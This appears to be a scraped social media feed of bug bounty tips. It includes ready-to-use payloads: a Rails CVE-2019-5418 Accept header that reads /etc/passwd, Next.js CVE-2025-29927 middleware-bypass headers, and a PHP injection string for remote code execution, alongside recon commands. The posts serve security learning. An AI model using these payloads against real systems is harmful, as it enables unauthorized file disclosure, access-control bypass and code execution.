Chax @Ch4xcker

Bug bounty learner Joined February 2022

Tweets

1K
Followers

28
Following

276
Likes

140

Corben Leo @hacker_

2 years ago

I've made $500k+ from SSRF vulnerabilities. Here are my tricks:

84 1K 4K 429K 5K

Download Image

João Gomes (zig_shark) @JoaoGomes12243

3 weeks ago

Improper Authorization🥰

3 1 73 3K 3

Download Image

If your target uses Rails, look for Action View CVE-2019-5418 - File Content Disclosure vuln. Although this is an old bug, it can still be found. Intercept the request in Burp and replace the Accept header with: `Accept: ../../../../../../../../../../etc/passwd{{` #bugbountytips

15 240 1K 70K 947

Download Image

Mustafa Adam Gamaraldin Abdalla @wadgamaraldeen

3 months ago

#Tips :- 1- As usual i Fuzzed all live subs using my custom short information disclosure wordlist :- cat live-subs.txt | python3 dirsearch.py -i 200 -e php,bak,old,zip,tar.gz,txt,log,conf,json,asp,j p,aspx,yml,yaml,rar --stdin

1 2 18 884 18

Download Image

HackTube5 @HackTube5

2 years ago

XSS Bypassed #bugbounty

0 4 98 5K 33

Download Image

jnwck @insecrez

a month ago

Bug-Hunt tips for new hunters - httpx -l subs.txt -ports 81,8000,8080,8443,8888 -title Find apps not running on standard ports. Make changes with ports by a small search over Google and repeat the process Peace and Salam✌️

0 13 88 4K 69

VAIDIK PANDYA @h4x0r_fr34k

2 weeks ago

CVE-2025-29927 Exploitation : X-Nextjs-Data: 1 X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

1 71 324 15K 219

Download Image

Mounir | مُنِير @__M9nx

3 months ago

Found the same bug on two Subdomains :-)

11 10 266 20K 67

Download Image

DarkShadow @darkshadow2bd

3 months ago

ㅤ 🔥Find all VDP in world wide using this simple dork😎 Dork: (body="/responsible-disclosure" || body="/.well-known/security.txt") && port="443" ✨For more bugbounty & pen testing tips join my telegram channel 🤍 t.me/ShellSec

3 42 161 10K 157

Download Image

bugoverflow @bugoverfl0w

5 months ago

How to grab all Graphql query/mutation if introspection disabled? 1. Download all js files to directory js_files 2. Run this command: grep -Eo '(query|mutation) [a-zA-Z0-9_]+\(' js_files -R 1/n #bugbountytips #graphql

7 116 487 24K 466

Download Image

Mustafa Adam Gamaraldin Abdalla @wadgamaraldeen

3 months ago

#Tips :- 1- Replace dirsearch w-list with my short info disclosure w-list :- github.com/wadgamaraldeen… ( updated continuesly) 2- Type :- cat live-subs.txt | python3 dirsearch.py -i 200 -e php,bak,old,zip,tar.gz,txt,log,conf,json,asp,j p,aspx,yml,yaml,rar --stdin

3 5 30 1K 58

N4!TR0 07 @n4itr0_07

4 months ago

Day 4 of My Bug Bounty Journey No hunt today — focused purely on learning! 📚 ➔ JS File Recon 🔍 ➔ GraphQL deep dive 🧬 ➔ DVWA + DVGA lab setup 🛠️ ➔ TryHackMe CVE room ✔️ ➔ Dive into API Hacking ➔ Resources attached ⬇️ #BugBounty Full notes 📒: github.com/n4itr0-07/dail…

5 29 209 9K 150

N$ @nav1n0x

a year ago

This is the quickest RCE I've ever gotten. The app has a popup for multi-selection fields. I intercepted the request, expecting XSS or SQLi, but found that the parameter **_session_name= can be exploited to get an #RCE as a surprise. Payload: `&**='.print((`id`)).'` #BugBounty

27 165 945 84K 657

Download Image

VIEH Group @viehgroup

a year ago

Steps: 1. Get all urls (waymore) 2. Extract all Parameters (paramspider) 3. Use nuclei dast templates nuclei -l parameter_based_urls.txt -t nuclei-templates/dast/ -dast Post Credit: Mijanur Rahman #hackerone #ethicalhacking #bugbounty #cybersecurity #sqli #xss #infosec

0 69 221 13K 234

Download Image

Suryesh 🇮🇳 @Suryesh_92

6 months ago

Power of own tools (script writing) #bugbounty #bugbounty #infosec #Hacking

Suryesh 🇮🇳 @Suryesh_92

6 months ago

Power of own tools (script writing) #bugbounty #bugbounty #infosec #Hacking https://t.co/CK3L6V6UZA

2 5 76 7K 42

Download Image

6 1 38 3K 19

Download Image

ӉѦСҠіИԌ ҬЄѦӍ @HackingTeam777

6 months ago

🟢 𝗣𝗮𝘆𝗹𝗼𝗮𝗱 𝗪𝗶𝘇𝗮𝗿𝗱 An advanced AI assistant utilizing GPT language models to interpret and generate cybersecurity payloads 🔗 payload-wizard.vercel.app

3 102 523 22K 368

Download Image

zhero; @zhero___

8 months ago

very pleased to announce the release of my new article based on my research that led to CVE-2024-46982 titled: Next.js, cache, and chains: the stale elixir zhero-web-sec.github.io/research-and-t… note: does not cover the latest findings shared in my recent posts enjoy reading;

45 239 992 195K 499

Download Image

d4d @zakfedotkin

6 months ago

Today's update to the URL Cheat Sheet includes a new trick: bypassing domain allow lists using a full URL in the query, submitted by @Nekrom__ This idea came after our previous update from @dyak0xdb , which sparked great discussions! More updates are live. Link in the reply 👇

2 25 158 10K 88

Download Image

Vikas Anand @kingcoolvikas

12 months ago

How i Earned $$$ 1. I got a subdomain it shows 404 2. Fuzz it found /api/v2 it was a swagger ui 3. Checked for xss not vulnerable check for html injection it loads the file, but error came up 4. Changed swagger: "2.0" to openapi: 3.0.0 and html injection executes #bugbounty